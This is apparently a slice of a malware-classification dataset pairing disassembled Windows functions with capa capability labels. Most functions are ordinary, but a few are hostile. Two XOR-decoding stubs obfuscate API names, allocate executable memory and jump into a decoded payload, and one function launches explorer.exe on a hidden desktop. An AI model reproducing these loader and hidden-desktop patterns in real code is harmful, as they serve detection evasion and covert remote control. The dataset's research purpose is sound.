joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006fadc
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x100a94f7
call fcn.1009cbf0
mov esi, ecx
mov dword [ebp - 0x14], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.fpsrvutl.dll_Ordinal_4936]
push ebx
mov dword [ebp - 4], ebx
push ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov ebx, eax
test ebx, ebx
jle 0x1006fb90
lea edi, [ebx + 1]
call dword [sym.imp.fpsrvutl.dll_Ordinal_4348]
test eax, eax
je 0x1006fb2a
mov ecx, edi
call dword [sym.imp.fpsrvutl.dll_Ordinal_5011]
jmp 0x1006fb32
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov edi, eax
test edi, edi
je 0x1006fb90
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetTempPathA]
push edi
mov ecx, esi
mov byte [eax + edi], 0
call dword [sym.imp.fpsrvutl.dll_Ordinal_4818]
push 0
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_3947]
push 0x5c
push 2
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5801]
push eax
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_687]
push 0x2f
push 2
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5801]
push eax
mov ecx, esi
call dword [sym.imp.fpsrvutl.dll_Ordinal_687]
push edi
call fcn.10054f27
pop ecx
mov eax, esi
call fcn.1009cbc1
ret
Function at 0x10097ef9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push edi
push 0x10
push 1
mov edi, 0x10000000
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x10097f3e
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
test eax, eax
je 0x10097f3e
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x10097f3e
cmp word [eax + 2], 0
je 0x10097f3e
cmp dword [eax + 0x28], 0xfeef04bd
jne 0x10097f3e
add eax, 0x30
jmp 0x10097f43
mov eax, 0x100c70e8
pop edi
pop esi
ret

Function at 0x1141a058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1141a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1141a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1141a06a
add dl, dl
jne 0x1141a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1141a0dc
xor eax, eax
add dl, dl
jne 0x1141a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1141a17d
add dl, dl
jne 0x1141a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1141a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1141a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1141a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1141a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1141a075
mov eax, 1
add dl, dl
jne 0x1141a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1141a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1141a0e1
sub eax, ebx
mov ebx, 1
jne 0x1141a128
mov ecx, 1
add dl, dl
jne 0x1141a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1141a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1141a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1141a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1141a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1141a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1141a136
cmp eax, 0x7d00
jae 0x1141a16d
cmp eax, 0x500
jb 0x1141a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1141a075
cmp eax, 0x7f
ja 0x1141a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1141a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1141a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1141a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10003ece
pop dword [ebp - 0xc]
mov eax, 0x10003ece
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xae03df7e
add dword [ebp - 0x1c], 0xa04e65cd
mov dword [ebp - 0x18], 0x5b87a120
sub dword [ebp - 0x18], 0x295454db
mov dword [ebp - 0x14], 0xb00f08f9
add dword [ebp - 0x14], 0x9c3d3b35
mov dword [ebp - 0x10], 0xfaccac2a
sub dword [ebp - 0x10], 0xfaccac2a
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x6dbdd53e
sub eax, 0x5dbd84fa
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc3856716
sub dword [ebp - 0x1c], 0x4f12fdc0
mov dword [ebp - 0x18], 0x7cef3126
sub dword [ebp - 0x18], 0x3b82cfb1
mov dword [ebp - 0x14], 0x175406d7
add dword [ebp - 0x14], 0x4c1b6595
mov dword [ebp - 0x10], 0xf77a1f87
add dword [ebp - 0x10], 0x885e079
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xe80f9b7b
sub eax, 0xd80f4b3b
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x364b2
push 0
call eax
mov ecx, 0x29bdf33a
add ecx, 0xd642536a
mov edx, eax
mov edi, 0x1000b600
add edi, dword [ebp - 0xc]
mov esi, 0xb755e18c
xor dword [ebp - 4], 0xd0bfef91
mov ebx, dword [edi]
add dword [ebp - 8], esi
add ebx, esi
sub dword [ebp - 8], 0x76794309
mov dword [edx], ebx
xor dword [ebp - 8], ecx
add edx, 4
add edi, 0x491d73d
sub edi, 0x491d739
loop 0x10003fdf
add eax, 0x3e879c10
sub eax, 0x3e868ead
xor ebx, ebx
add ebx, eax
add eax, 0x78c23264
add eax, 0x873dcda1
mov ecx, 0x3db09a33
add ecx, 0xd24f65cd
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4013e0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x40a008]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0x10000083
push 0
push 0
push 0
push str.DESKTOP_BE
call dword [sym.imp.USER32.dll_CreateDesktopA]
push eax
mov dword [0x40a668], eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
xorps xmm0, xmm0
mov dword [ebp - 0x15c], 0
push 0x80
lea eax, [ebp - 0x88]
movlpd qword [ebp - 0x154], xmm0
push eax
push str.windir
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
movlpd qword [ebp - 0x124], xmm0
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x158], str.DESKTOP_BE
movups xmmword [ebp - 0x118], xmm0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x108]
push str._sexplorer.exe
push eax
call fcn.00404280
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x160]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404d0f
mov esp, ebp
pop ebp
ret
Function at 0x401500
Capabilities:
Convert ip address from string
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x418
mov eax, dword [0x40a008]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
push edi
lea eax, [esp + 0x288]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40156d
push 0x4044e0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.WSAStartup_failed_
call fcn.004042c0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x414]
xor ecx, esp
call fcn.00404d0f
mov esp, ebp
pop ebp
ret
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esp + 0x14], eax
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x270], xmm0
mov word [esp + 0x270], ax
lea eax, [esp + 0x274]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x1261
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, 0x91
mov word [esp + 0x272], ax
mov esi, str.DMOC
mov dword [esp + 0x26c], 0
lea edi, [esp + 0x18]
xorps xmm0, xmm0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
movq qword [esp + 0x264], xmm0
push ecx
lea eax, [esp + 0x262]
push eax
push ecx
lea ecx, [esp + 0x270]
movsw word es:[edi], word [esi]
call fcn.00403d80
mov edi, dword [esp + 0x264]
lea eax, [esp + 0x270]
mov esi, dword [esp + 0x14]
push 0x10
push eax
mov eax, dword [esp + 0x270]
push 0
sub eax, edi
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_sendto]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
test edi, edi
je 0x401669
mov ecx, dword [esp + 0x26c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x40165f
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40165f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.00404f9e
add esp, 8
mov ecx, dword [esp + 0x41c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00404d0f
mov esp, ebp
pop ebp
ret
Function at 0x401680
Capabilities:
Convert ip address from string
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x418
mov eax, dword [0x40a008]
xor eax, esp
mov dword [esp + 0x414], eax
push esi
push edi
lea eax, [esp + 0x288]
mov esi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4016ed
push 0x4044e0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.WSAStartup_failed_
call fcn.004042c0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x414]
xor ecx, esp
call fcn.00404d0f
mov esp, ebp
pop ebp
ret
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esp + 0x14], eax
xorps xmm0, xmm0
mov eax, 2
movaps xmmword [esp + 0x270], xmm0
mov word [esp + 0x270], ax
lea eax, [esp + 0x274]
push eax
push esi
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x1261
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, 0x91
mov word [esp + 0x272], ax
mov esi, 0x407a38
mov dword [esp + 0x26c], 0
lea edi, [esp + 0x18]
xorps xmm0, xmm0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
movq qword [esp + 0x264], xmm0
push ecx
lea eax, [esp + 0x262]
push eax
push ecx
lea ecx, [esp + 0x270]
movsw word es:[edi], word [esi]
call fcn.00403d80
mov edi, dword [esp + 0x264]
lea eax, [esp + 0x270]
mov esi, dword [esp + 0x14]
push 0x10
push eax
mov eax, dword [esp + 0x270]
push 0
sub eax, edi
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_sendto]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
test edi, edi
je 0x4017e9
mov ecx, dword [esp + 0x26c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x4017df
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4017df
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.00404f9e
add esp, 8
mov ecx, dword [esp + 0x41c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00404d0f
mov esp, ebp
pop ebp
ret
Function at 0x4056a9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4056e8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4056e8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4056e8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4056e8
cmp dword [ecx + 0x74], 0xe
jbe 0x4056e8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x406243
pop dword [ebp - 0x10]
mov eax, 0x406243
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x8a4f8b5f
add dword [ebp - 0x20], 0xc402b9ec
mov dword [ebp - 0x1c], 0xdf5561c1
sub dword [ebp - 0x1c], 0xad22157c
mov dword [ebp - 0x18], 0xb61d7a82
add dword [ebp - 0x18], 0x962ec9ac
mov dword [ebp - 0x14], 0xc5d6726e
add dword [ebp - 0x14], 0x3a298d92
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x98d82133
add dword [ebp - 0x20], 0xdb9a4823
mov dword [ebp - 0x1c], 0xb60caa22
add dword [ebp - 0x1c], 0x8b5fb753
mov dword [ebp - 0x18], 0x6a61304d
add dword [ebp - 0x18], 0xf90e3c1f
mov dword [ebp - 0x14], 0xcab00cab
sub dword [ebp - 0x14], 0xcab00cab
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a5b7
push 0
call eax
mov ecx, 0xce01cb35
sub ecx, 0xce0175df
xor edx, edx
add edx, eax
mov edi, str._ukv
add edi, dword [ebp - 0x10]
mov esi, 0x6e7e370d
sub esi, 0xd5579c23
mov ebx, dword [edi]
xor ebx, esi
sub dword [ebp - 0xc], 0xb7ab2aa8
mov dword [edx], ebx
add dword [ebp - 4], eax
add edx, 0x9d8dc9c2
add edx, 0x62723642
add edi, 4
loop 0x406352
add eax, 0xaf4e8ca8
sub eax, 0xaf4d447d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x729befd0
sub ecx, 0x725befd0
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc
Function at 0x4ec6f560
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
jne 0x4ec6fc7b
mov eax, 0x94
call fcn.4ec71104
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4ec6fcb0
mov ecx, dword [esi + 0x10]
mov dword [0x4edd114c], ecx
mov eax, dword [esi + 4]
mov dword [0x4edd1158], eax
mov edx, dword [esi + 8]
mov dword [0x4edd115c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x4edd1150], esi
jne 0x4ecd8a2d
shl eax, 8
add eax, edx
push 0
mov dword [0x4edd1154], eax
call fcn.4ec712fc
test eax, eax
pop ecx
je 0x4ec6fcb0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4edd14cc], eax
call fcn.4ec7075e
mov dword [0x4edd1148], eax
call fcn.4ec71217
test eax, eax
jl 0x4ecd8a3e
call fcn.4ec70caf
test eax, eax
jl 0x4ec6fcb7
call fcn.4ec70e5d
test eax, eax
jl 0x4ec6fcb7
call fcn.4ec706fe
test eax, eax
jne 0x4ec6fcb7
inc dword [0x4edd080c]
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc
xor eax, eax
cmp dword [ebp + 0xc], eax
jne 0x4ec6f62c
cmp dword [0x4edd080c], eax
jle 0x4ec6fcb0
dec dword [0x4edd080c]
cmp dword [0x4edd09f4], eax
jne 0x4ec6fca1
call fcn.4ec6f8b3
call fcn.4ec6fcc6
call fcn.4ec6f8cb
jmp 0x4ec6f62c
xor eax, eax
jmp 0x4ec6f62f
call fcn.4ec6fcc6
jmp 0x4ecd8a3e
or esi, 0x8000
mov dword [0x4edd1150], esi
jmp 0x4ec6f5c3
call fcn.4ec6f8cb
jmp 0x4ec6fcb0
Function at 0x4ec7075e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4edd1278]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push edi
xor ebx, ebx
xor edi, edi
cmp eax, ebx
jne 0x4ec70807
call esi
mov edi, eax
cmp edi, ebx
je 0x4ecd8cd7
mov dword [0x4edd1278], 1
cmp edi, ebx
je 0x4ecd8cf9
cmp word [edi], bx
mov eax, edi
je 0x4ec707b3
inc eax
inc eax
cmp word [eax], bx
jne 0x4ec707a5
inc eax
inc eax
cmp word [eax], bx
jne 0x4ec707a5
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, edi
push ebx
sar eax, 1
inc eax
push eax
push edi
push ebx
push ebx
mov dword [ebp - 0xc], eax
call esi
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x4ec707f9
push eax
call fcn.4ec71270
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x4ec707f9
push ebx
push ebx
push dword [ebp - 8]
push eax
push dword [ebp - 0xc]
push edi
push ebx
push ebx
call esi
test eax, eax
je 0x4ecd8d07
mov ebx, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
cmp eax, 1
je 0x4ec70796
jmp 0x4ecd8d18
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x4ecd8cef
push 2
pop eax
mov dword [0x4edd1278], eax
jmp 0x4ec70807
mov eax, dword [0x4edd1278]
jmp 0x4ec70807
call esi
mov edi, eax
cmp edi, ebx
jne 0x4ec7079e
jmp 0x4ecd8d21
push dword [ebp - 4]
call fcn.4ec6f63c
pop ecx
mov dword [ebp - 4], ebx
jmp 0x4ec707f6
cmp eax, 2
je 0x4ecd8d28
cmp eax, ebx
je 0x4ecd8d28
xor eax, eax
jmp 0x4ec70802
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x4ecd8d21
cmp byte [esi], bl
je 0x4ecd8d45
inc eax
cmp byte [eax], bl
jne 0x4ecd8d3b
inc eax
cmp byte [eax], bl
jne 0x4ecd8d3b
sub eax, esi
inc eax
mov edi, eax
push edi
call fcn.4ec71270
cmp eax, ebx
pop ecx
je 0x4ecd8d6c
mov ecx, edi
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 4]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x4ec70800

Function at 0x4ec7161c
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [section..data]
mov dword [ebp - 4], eax
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0xa0]
mov dword [0x4edd1508], eax
mov eax, dword [ebp - 0xb8]
mov dword [0x4edd1504], eax
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4ec71694
xor eax, eax
cmp dword [ebp - 0x88], 2
sete al
mov dword [0x4edd02cc], eax
mov eax, dword [ebp - 0x94]
mov dword [0x4edd1500], eax
mov eax, dword [ebp - 0x90]
mov dword [0x4edd14fc], eax
call fcn.4ec71579
jmp 0x4ecd8a1b
leave
ret
mov ecx, dword [ebp - 4]
mov dword [0x4edd02c8], eax
call fcn.4ecfd994
jmp 0x4ec7169e
Function at 0x4ec77c29
Capabilities:
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
xor esi, esi
cmp dword [0x4edd01d8], esi
push 1
push esi
je 0x4ecc9f56
push dword [0x4edd0a1c]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x4ec77c84
push dword [ebp + 8]
lea eax, [ebp - 8]
push esi
push esi
push esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x4ec77c7b
xor esi, esi
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 4
push dword [0x4edd2dc8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x4ec77c57
Function at 0x4ec7b8c5
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x4ec77e67
cmp dword [0x4edd01d8], edi
je 0x4eccc7dd
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
je 0x4ec77e67
lea eax, [ebp - 0x128]
push eax
push edi
push edi
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x4ec77e5b
mov eax, dword [ebp - 0x128]
cmp eax, dword [esi]
jne 0x4ec77e5b
mov eax, dword [ebp - 0x124]
cmp eax, dword [esi + 4]
jne 0x4ec77e5b
push edi
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [ebx], eax
je 0x4ec77e5b
push edi
push edi
push edi
push 2
push edi
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, edi
mov dword [ebp - 0x120], eax
je 0x4ec77e5b
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
mov ecx, dword [ebp - 0x11c]
mov dword [ecx], eax
je 0x4ec77e4f
xor ecx, ecx
inc ecx
mov dword [esi + 0xc], eax
mov eax, dword [ebx]
mov dword [ebp - 0x118], ecx
mov dword [esi + 0x10], eax
mov dword [esi + 8], ecx
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x114]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x118]
jmp 0x4eccc822
cmp ebx, edi
jne 0x4ec7b90e
jmp 0x4ec7b913
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [section..data]
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [esi + 8]
push edi
xor edi, edi
cmp eax, edi
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], edi
je 0x4ec77d84
inc eax
cmp ecx, edi
mov dword [esi + 8], eax
je 0x4ec77e72
jmp 0x4eccc7d3
mov eax, dword [esi + 0x10]
mov dword [ebx], eax
xor eax, eax
inc eax
jmp 0x4eccc822
leave
ret 0xc
mov eax, dword [esi + 0xc]
mov dword [ecx], eax
jmp 0x4ec77e72
push eax
lea ecx, [ebp - 0x110]
call fcn.4ec8681d
cmp dword [ebp - 0x110], 0x55464131
jne 0x4eccc816
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
jmp 0x4ec77db2
or dword [ebp - 0x114], 0xffffffff
jmp 0x4ec77db8
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.4ecfd994
jmp 0x4ec7b91b